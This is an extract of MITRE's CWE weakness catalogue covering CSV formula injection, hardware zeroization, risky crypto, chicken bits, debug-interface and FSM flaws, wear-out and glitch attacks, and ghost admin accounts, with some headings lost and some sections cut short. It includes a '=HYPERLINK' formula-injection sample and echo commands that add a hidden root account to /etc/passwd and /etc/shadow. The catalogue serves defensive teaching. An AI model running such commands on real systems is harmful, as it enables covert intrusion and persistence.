Use of boxed primitives should be limited to certain situations such as when calling methods with typed parameters. Examine the use of boxed primitives prior to use. Use SparseArrays or ArrayMap instead of HashMap to avoid performance overhead.

Demonstrative Examples

Example 1:

Java has a boxed primitive for each primitive type. A long can be represented with the boxed primitive Long. Issues arise where boxed primitives are used when not strictly necessary.

Example Language: Java *(bad)*

```
Long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

In the above loop, we see that the count variable is declared as a boxed primitive. This causes autoboxing on the line that increments. This causes execution to be magnitudes less performant (time and possibly space) than if the "long" primitive was used to declare the count variable, which can impact availability of a resource.

Example 2:

This code uses primitive long which fixes the issue.

Example Language: Java *(good)*

```
long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Weakness ID : 1236 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by spreadsheet software.

Extended Description

User-provided data is often saved to traditional databases. This data can be exported to a CSV file, which allows users to read the data using spreadsheet software such as Excel, Numbers, or Calc. This software interprets entries beginning with '=' as formulae, which are then executed by the spreadsheet software. The software's formula language often allows methods to access hyperlinks or the local command line, and frequently allows enough characters to invoke an entire script. Attackers can populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software.

Relationships

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Alternate Terms

CSV Injection :

Formula Injection :

Excel Macro Injection :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Execute Unauthorized Code or Commands *Current versions of Excel warn users of untrusted content.*	Low

Potential Mitigations

Phase: Implementation

When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).

Effectiveness = Moderate

Unfortunately, there is no perfect solution, since different spreadsheet products act differently.

Phase: Implementation

If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.

Effectiveness = Moderate

It is not clear how effective this mitigation is with other spreadsheet software.

Phase: Architecture and Design

Certain implementations of spreadsheet software might disallow formulae from executing if the file is untrusted, or if the file is not authored by the current user.

Effectiveness = Limited

This mitigation has limited effectiveness because it often depends on end users opening spreadsheet software safely.

Demonstrative Examples

Example 1:

Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='

Example Language: Other *(attack)*

```
=HYPERLINK(link_location, [friendly_name])
```

Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity.

Example Language: *(good)*

```
HYPERLINK(link_location, [friendly_name])
```

Observed Examples

CWE-1239: Improper Zeroization of Hardware Register

Weakness ID : 1239 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes.

Extended Description

Hardware logic operates on data stored in registers local to the hardware block. Most hardware IPs, including cryptographic accelerators, rely on registers to buffer I/O, store intermediate values, and interface with software. The result of this is that sensitive information, such as passwords or encryption keys, can exist in locations not transparent to the user of the hardware logic. When a different entity obtains access to the IP due to a change in operating mode or conditions, the new entity can extract information belonging to the previous user if no mechanisms are in place to clear register contents. It is important to clear information stored in the hardware if a physical attack on the product is detected, or if the user of the hardware block changes. The process of clearing register contents in a hardware IP is referred to as zeroization in standards for cryptographic hardware modules such as FIPS-140-2 [REF-267].

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	517

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context *The consequences will depend on the information disclosed due to the vulnerability.*	

Potential Mitigations

Phase: Architecture and Design

Every register potentially containing sensitive information must have a policy specifying how and when information is cleared, in addition to clarifying if it is the responsibility of the hardware logic or IP user to initiate the zeroization procedure at the appropriate time.

Demonstrative Examples

Example 1:

Suppose a hardware IP for implementing an encryption routine works as expected, but it leaves the intermediate results in some registers that can be accessed. Exactly why this access happens is immaterial - it might be unintentional or intentional, where the designer wanted a "quick fix" for something.

CWE-1240: Use of a Risky Cryptographic Primitive

Weakness ID : 1240 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product implements a cryptographic algorithm using a non-standard or unproven cryptographic primitive.

Extended Description

Cryptographic algorithms (or Cryptographic systems) depend on cryptographic primitives as their basic building blocks. As a result, cryptographic primitives are designed to do one very specific task in a precisely defined and highly reliable fashion. For example, one can declare that a specific crypto primitive (like an encryption routine) can only be broken after trying out N different inputs (the larger the value of N, the stronger the crypto). If a vulnerability is found that leads to breaking this primitive in significantly less than N attempts, then the specific cryptographic primitive is considered broken, and the entirety of the cryptographic algorithm (or the cryptographic system) is now considered insecure. Thus, even breaking a seemingly small cryptographic primitive is sufficient to render the whole system vulnerable.

Cryptographic primitives are products of extensive reviews from cryptographers, industry, and government entities looking for any possible flaws. However, over time even well-known cryptographic primitives lose their compliance status with emergence of novel attacks that might either defeat the algorithm or reduce its robustness significantly. If ad-hoc cryptographic primitives are implemented, it is almost certain that such implementation will be vulnerable to attacks resulting in the exposure of sensitive information and/or other consequences.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Background Details

This issue is even more prominent for hardware-implemented deployment of cryptographic algorithms due to a number of reasons. Firstly, because hardware is not replaceable like software, if a flaw is discovered with a hardware-implemented cryptographic primitive, it cannot be fixed in most cases without a recall of the product. Secondly, the hardware product is often expected to work for years, during which time computation power available to the attacker only increases. Therefore, for hardware implementations of cryptographic primitives, it is absolutely essential that only strong, proven cryptographic primitives are used.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Incorrect usage of crypto primitives could render the supposedly encrypted data as unencrypted plaintext in the worst case. This would compromise any security property, including the ones listed above.*	High

Potential Mitigations

Phase: Architecture and Design

Follow these good cryptography practices: Do not create your own crypto algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. As with all cryptographic mechanisms, the source code should be available for analysis. If the algorithm can be compromised when attackers find out how it works, then it is especially weak. Do not use outdated/not-compliant cryptography algorithms. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. Do not use LFSR as a substitute for proper Random Number Generator IPs. Do not use checksum as a substitute for proper Hashes. Design the hardware at the IP level so that one cryptographic algorithm can be replaced with another in the next generation. Use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. Do not store keys in areas accessible to untrusted agents. Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant. Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and might be more likely to avoid errors that can occur during implementation of cryptographic algorithms. When using industry-

approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Effectiveness = High

Demonstrative Examples

Example 1:

Re-using Crypto primitive could compromise security

Example Language: *(bad)*

Suppose a Hashing algorithm needs random seed. Instead of using a DRNG (Deterministic Random Number Generator), the designer uses a LFSR to generate the seed.

While an LFSR does provide pseudo-random number generation service, its entropy (measure of randomness) is less than that of a DRNG. Thus, using an LFSR weakens the strength of the crypto.

Example Language: *(good)*

If a crypto expect a proper (or deterministic) random number as its input, do equip it with one - do not give it something that is pseudo-random.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014

Applicable Platforms

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Predictable random numbers can render the protection mechanisms in place ineffective.*	High

Potential Mitigations

Phase: Architecture and Design

Leverage well-known true random number generation techniques.

Effectiveness = High

Demonstrative Examples

Example 1:

Suppose a cryptographic function expects to begin with a random seed.

During the implementation phase, due to space constraint, a proper random-number-generator could not be used, and instead of using a TRNG (True Random Number Generator), the designer uses a LFSR (Linear Feedback Shift Register)to generate the seed. While an LFSR does provide pseudo-random number generation service, its entropy (measure of randomness) is less than that of a TRNG. Thus, using an LFSR weakens the strength of the crypto.This lack of entropy would weaken the overall crypto.

CWE-1242: Inclusion of Undocumented Features or Chicken Bits

Weakness ID : 1242 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The chip includes chicken bits or undocumented features that can create entry points for unauthorized actors.

Extended Description

A common design practice is to use "chicken bits," which are bits on a chip that can be used to disable certain functional security features. They can facilitate quick identification and isolation of faulty components, features that negatively affect performance, or features that do not provide the required controllability for debug and test. Another way to achieve this is through implementation of undocumented features. An attacker might exploit these interfaces for unauthorized access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not implement chicken bits. If implemented, ensure that they are disabled in production devices. Document all interfaces to the chip.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider a chip that comes with various, security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash chip. However, this code contains undocumented "special access features" intended to be used for performing failure analysis and can only be unlocked by the chip designer.

Example Language: Other *(bad)*

Attackers dump the code from the chip and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1243: Exposure of Security-Sensitive Fuse Values During Debug

Weakness ID : 1243 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product exposes security-sensitive values stored in fuses during debug.

Extended Description

Several security-sensitive values are blown as fuses in a chip to be used during early-boot flows or later at runtime. Examples of these security-sensitive values include root keys, encryption keys, manufacturing-specific information, chip-manufacturer-specific information, and original-equipment-manufacturer (OEM) data. After the chip is powered on, these values are sensed from fuses and stored in temporary locations such as registers and local memories. These locations are typically access-control protected from untrusted agents capable of accessing them. Even to trusted agents, only read-access is provided. However, these locations are not blocked during debug flows, allowing an untrusted debugger to access these assets and compromise system security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
PeerOf	C	1263	Insufficient Physical Protection Mechanism	1798

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

When in debug mode, disable access to security-sensitive values sensed from fuses and stored in temporary locations.

Demonstrative Examples

Example 1:

Secret manufacturing data (such as die information) are stored in fuses. While the chip powers on, this value is sensed from fuses and is stored in a microarchitectural register. This register is only given read access to trusted software running on the core. Untrusted software running on the core cannot access it.

Example Language: Other *(bad)*

All microarchitectural registers in this chip can be accessed through the debug interface. As a result, even an untrusted debugger can access this data and get hold of secret manufacturing data.

Example Language: *(informative)*

Registers used to store security-sensitive values sensed from fuses should be blocked on debug. They should be disconnected from the debug interface.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

CWE-1244: Improper Authorization on Physical Debug and Test Interfaces

Weakness ID : 1244 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's physical debug and test interface protection does not block untrusted agents, resulting in unauthorized access to and potentially control of sensitive assets.

Extended Description

If the product implements access-control protection on the debug and test interface, a debugger is typically required to enter either a valid response to a challenge provided by the authorization logic or, alternatively, enter the right password in order to exercise the debug and test interface. However, if this protection mechanism does not exclude all untrusted, debug agents, an attacker could access/control security-sensitive registers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	623

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	
Authorization Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

For security-sensitive assets accessible over debug/test interfaces, only allow trusted agents.

Demonstrative Examples

Example 1:

JTAG interface is used to perform debugging and providing insights into the CPU core for developers. JTAG-access protection is implemented as part of the JTAG_SHIELD bit in the register hw_digctl_ctrl REGISTER. This register is not set by default and is set after the system boots from ROM, and control is transferred to the user software.

Example Language: Other *(bad)*

This means that end user has access to JTAG at system reset and during ROM code execution before control is transferred to user software. With this loophole, an attacker can modify the boot flow and subsequently disclose data-encryption keys.

Example Language: *(informative)*

The default value of this register bit should be set to 1. This prevents JTAG being enabled at system reset.

Observed Examples

Reference	Description
CVE-2019-18827	JTAG access is disabled after ROM code execution. This means that JTAG access is possible when the system is running code from ROM before transferring control over to embedded firmware. This allows an attacker to modify boot flow and successfully bypass secure-boot process. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827*

CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic

Weakness ID : 1245 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system.

Extended Description

The functionality and security of the system heavily depend on the implementation of FSMs. FSMs can be used to indicate the current security state of the system. Lots of secure data operations and data transfers rely on the state reported by the FSM. Faulty FSM designs that do not account for all states, either through undefined states (left as don't cares) or through incorrect implementation, might lead an attacker to drive the system into an unstable state from which the system cannot recover without a reset, thus causing a DoS. Depending on what the FSM is used for, an attacker might also gain additional privileges to launch further attacks and compromise the security guarantees.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	684	Incorrect Provision of Specified Functionality	1332

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Access Control	DoS: Crash, Exit, or Restart	
	DoS: Instability	
	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Define all possible states and handle all unused states through default statements. Ensure that system defaults to a secure state.

Effectiveness = High

Demonstrative Examples

Example 1:

The FSM shown in the "bad" code snippet below assigns the output out based on the value of state, which is determined based on the user provided input, user_input.

Example Language: Verilog *(bad)*

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
   begin
      if (!rst_n)
      state = 3'h0;
      else
      case (user_input)
         3'h0:
         3'h1:
         3'h2:
         3'h3: state = 2'h3;
         3'h4: state = 2'h2;
         3'h5: state = 2'h1;
      endcase
   end
   out <= {1'h1, state};
endmodule
```

The case statement does not handle the scenario when user provides inputs of 3'h6 and 3'h7 using a default statement. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

Example Language: Other *(good)*

```
case (user_input)
   3'h0:
   3'h1:
   3'h2:
   3'h3: state = 2'h3;
   3'h4: state = 2'h2;
   3'h5: state = 2'h1;
   default: state = 2'h0;
endcase
```

CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories

Weakness ID : 1246 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product does not implement or incorrectly handles the implementation of write operations in limited-write non-volatile memories.

Extended Description

Non-volatile memories such as NAND Flash, EEPROM, etc. have individually erasable segments, each of which can be put through a limited number of program/erase or write cycles. For example, the device can only endure a limited number of writes, after which the device becomes unreliable. In order to wear out the cells in a uniform manner, non-volatile memory and storage products based on the above-mentioned technologies implement a technique called wear leveling. Once a set threshold is reached, wear leveling maps writes of a logical block to a different physical block. This prevents a single physical block from prematurely failing due to a high concentration of writes. If wear leveling is improperly implemented, attackers can execute a write virus and cause the storage to become unreliable much faster than the minimally guaranteed platform lifetime.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Effectiveness = High

Demonstrative Examples

Example 1:

An adversary can render a memory line unusable by writing to it repeatedly.

Below is example code from [REF-1058] that the user can execute repeatedly to cause line failure. W is the maximum associativity of any cache in the system; S is the size of the largest cache in the system.

Example Language: Other *(bad)*

```
Do aligned alloc of (W+1) arrays each of size S
while(1) {
for (ii = 0; i < W + 1; ii++)
    array[ii].element[0]++;
}
```

Without wear leveling, the above attack will be successful. Simple randomization of blocks will not suffice as instead of the original physical block, the randomized physical block will be worn out.

Example Language: *(informative)*

Wear leveling must be used to even out writes to the device.

CWE-1247: Missing Protection Against Voltage and Clock Glitches

Weakness ID : 1247 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The product does not contain the necessary additional circuitry or sensors to detect and mitigate voltage and clock glitches.

Extended Description

A product might support security features such as secure boot that are supported through hardware and firmware implementation. This involves establishing a chain of trust, starting with an immutable root of trust by checking the signature of the next stage (culminating with the OS and runtime software) against a golden value before transferring control. The intermediate stages typically set up the system in a secure state by configuring several access control settings. Similarly, any password-checking logic for exercising the debug interface, etc. can implemented in hardware, firmware, or both. This implementation needs to be robust against fault attacks such as voltage glitches and clock glitches that an attacker may leverage to compromise the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Technology : Power Management IP *(Prevalence = Undetermined)*

Technology : Clock/Counter IP *(Prevalence = Undetermined)*

Technology : Sensor IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Read Memory Modify Memory Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

At the circuit-level, using Tunable Replica Circuits (TRCs) or special flip-flops such as Razor flip-flops helps mitigate glitches. At SoC or platform level, level sensors can be implemented to detect glitches. Implementing redundancy in security-sensitive code (e.g., where checks are performed) helps in mitigating glitches.

Demonstrative Examples

Example 1:

Below is a representative snippet of C code that is part of the secure-boot flow. A signature of the runtime-firmware image is calculated and compared against the golden value. If the signatures match, the bootloader loads runtime firmware. If not, it is not loaded. If the underlying hardware executing this code does not contain any circuitry or sensors to detect voltage/clock glitches, an attacker might launch a fault-injection attack right when the signature check is happening (at the location marked with the comment), and it could bypass the signature-checking process.

Example Language: Other *(bad)*

```
...
if (signature_matches) { // <-Glitch Here
load_runtime_firmware();
}
else {
do_not_load_runtime_firmware();
}
...
```

After bypassing secure boot, an attacker can gain access to system assets to which the attacker should not have access.

Example Language: *(informative)*

If the underlying hardware detects a voltage/clock glitch, the information can be used to prevent the glitch from being successful.

Observed Examples

CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications

Weakness ID : 1248 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The security-sensitive hardware module contains semiconductor defects.

Extended Description

A semiconductor device can fail for various reasons. While some are manufacturing and packaging defects, the rest are due to prolonged use or usage under extreme conditions. Some mechanisms that lead to semiconductor defects include encapsulation failure, die-attach failure, wire-bond failure, bulk-silicon defects, oxide-layer faults, aluminum-metal faults (including electromigration, corrosion of aluminum, etc.), and thermal/electrical stress. These defects manifest as faults on chip-internal signals or registers, have the effect of inputs, outputs, or intermediate signals being always 0 or always 1, and do not switch as expected. If such faults occur in security-sensitive hardware modules, security guarantees offered by the device will be compromised.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Access Control	DoS: Instability	

Potential Mitigations

Phase: Testing

While semiconductor-manufacturing companies implement several mechanisms to continuously improve the semiconductor manufacturing process to ensure reduction of defects, some defects can only be fixed after manufacturing. Post-manufacturing testing of silicon die is critical. Fault models such as stuck-at-0 or stuck-at-1 must be used to develop post-manufacturing test cases and achieve good coverage. Once the silicon packaging is done, extensive post-silicon testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

Phase: Operation

Operating the hardware outside device specification, such as at extremely high temperatures, voltage, etc., accelerates semiconductor degradation and results in defects. When these defects manifest as faults in security-critical, hardware modules, it results in compromise of security guarantees. Thus, operating the device within the specification is important.

Demonstrative Examples

Example 1:

The network-on-chip implements a firewall for access control to peripherals from all IP cores capable of mastering transactions.

Example Language: Other *(bad)*

A manufacturing defect in this logic manifests itself as a logical fault, which always sets the output of the filter to "allow" access.

Post-manufacture testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System

Weakness ID : 1249 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state.

Extended Description

Many products provide web-based applications or other software for managing the underlying operating system. This is common with cloud, network access devices, home networking, and other systems. When the management tool does not accurately represent what is in the OS - such as user accounts - then the administrator might not see suspicious activities that would be noticed otherwise.

For example, numerous systems utilize a web front-end for administrative control. They also offer the ability to add, alter, and drop users with various privileges as it relates to the functionality of the system. A potential architectural weakness may exist where the user information reflected in the web interface does not mirror the users in the underlying operating system. Many web UI or REST APIs use the underlying operating system for authentication; the system's logic may also track an additional set of user capabilities within configuration files and datasets for authorization capabilities. When there is a discrepancy between the user information in the UI or REST API's interface system and the underlying operating system's user listing, this may introduce a weakness into the system. For example, if an attacker compromises the OS and adds a new user account - a "ghost" account - then the attacker could escape detection if the management tool does not list the newly-added account.

This discrepancy could be exploited in several ways:

- A rogue admin could insert a new account into a system that will persist if they are terminated or wish to take action on a system that cannot be directly associated with them.
- An attacker can leverage a separate command injection attack available through the web interface to insert a ghost account with shell privileges such as ssh.
- An attacker can leverage existing web interface APIs, manipulated in such a way that a new user is inserted into the operating system, and the user web account is either partially created or not at all.
- An attacker could create an admin account which is viewable by an administrator, use this account to create the ghost account, delete logs and delete the first created admin account.

Many of these attacker scenarios can be realized by leveraging separate vulnerabilities related to XSS, command injection, authentication bypass, or logic flaws on the various systems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1776

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

Ghost in the Shell :

Common Consequences

Scope	Impact	Likelihood
Access Control	Varies by Context	
Accountability	Hide Activities	
Other	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Ensure that the admin tool refreshes its model of the underlying OS on a regular basis, and note any inconsistencies with configuration files or other data sources that are expected to have the same data.

Demonstrative Examples

Example 1:

Suppose that an attacker successfully gains root privileges on a Linux system and adds a new 'user2' account:

Example Language: Other *(attack)*

```
echo "user2:x:0:0::/root:/" >> /etc/passwd;
echo "user2:\$6\$IdvyrM6VJnG8Su5U\$1gmW3Nm.IO4vxTQDQ1C8urm72JCadOHZQwqiH/
nRtL8dPY80xS4Ovsv5bPCMWnXKKWwmsocSWXupUf17LB3oS.:17256:0:99999:7:::" >> /etc/shadow;
```

This new user2 account would not be noticed on the web interface, if the interface does not refresh its data of available users.

It could be argued that for this specific example, an attacker with root privileges would be likely to compromise the admin tool or otherwise feed it with false data. However, this example shows how the discrepancy in critical data can help attackers to escape detection.

CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State

Weakness ID : 1250 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other.

Extended Description

In highly distributed environments, or on systems with distinct physical components that operate independently, there is often a need for each component to store and update its own local copy of key data such as state or cache, so that all components have the same "view" of the overall system and operate in a coordinated fashion. For example, users of a social media service or a massively multiplayer online game might be using their own personal computers while also interacting with different physical hosts in a globally distributed service, but all participants must be able to have the same "view" of the world. Alternately, a processor's Memory Management Unit (MMU) might have

"shadow" MMUs to distribute its workload, and all shadow MMUs are expected to have the same accessible ranges of memory.

In such environments, it becomes critical for the product to ensure that this "shared state" is consistently modified across all distributed systems. If state is not consistently maintained across all systems, then critical transactions might take place out of order, or some users might not get the same data as other users. When this inconsistency affects correctness of operations, it can introduce vulnerabilities in mechanisms that depend on consistent state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
